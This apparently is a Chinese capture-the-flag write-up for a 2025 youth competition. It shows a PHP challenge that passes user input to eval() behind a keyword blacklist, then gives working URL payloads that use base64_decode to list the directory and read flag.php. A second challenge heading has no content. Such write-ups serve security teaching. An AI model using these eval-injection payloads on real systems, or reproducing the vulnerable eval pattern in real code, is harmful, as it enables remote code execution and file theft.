请勿截屏传播

青少年CTF-御网杯-2025

源码:

1.YWB_Web_命令执行

源码:

php
<?php
# flag in flag.php
include("flag.php");
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    
    if (!preg_match("/system|exec|highlight|show_source|include|passthru|flag|php|cat|head|tail|more|less/i", $cmd)) {
        if (preg_match("/base/i", $cmd)) {
            eval($cmd);
        } else {
            die("HACK!");
        }
    } else {
        die("HACK!!!");
    }
} else {
    highlight_file(__FILE__);
}
?>

未被过滤的信息收集函数:

text
- `scandir()` - 列目录 
- `opendir()` + `readdir()` 
- `glob()`  
- `var_dump()` / `print_r()` - 输出数组 

关键:

php
 if (preg_match("/base/i", $cmd)) {
            eval($cmd);
        }

eval 内执行的代码只要包含 base(不区分大小写)就能通过 核心payload形式:

text
函数名(base64_decode('编码后的文件名'));
1.扫描当前目录
text
?cmd=var_dump(scandir(base64_decode('Lg==')));
// Lg== 是 “.”的 base64

scandir()返回数组,不会自动输出内容,所以加上var_dump()或者print_r()

2.读取flag.php
text
?cmd=readfile(base64_decode('ZmxhZy5waHA='));

未显示完整内容(可能被 PHP 解析执行了)。

3.安全输出源码
text
?cmd=$f=base64_decode('ZmxhZy5waHA=');$c=file_get_contents($f); echo"<pre>".htmlentities($c)."</pre>";

使用 file_get_contents + htmlentities 避免内容被解析。 或者:

text
?cmd=print_r(file(base64_decode('ZmxhZy5waHA=')));

2.YWB_Web_IP绕过登陆

青岑CTF命令执行wp
RCE-labs WP

评论区

评论加载中...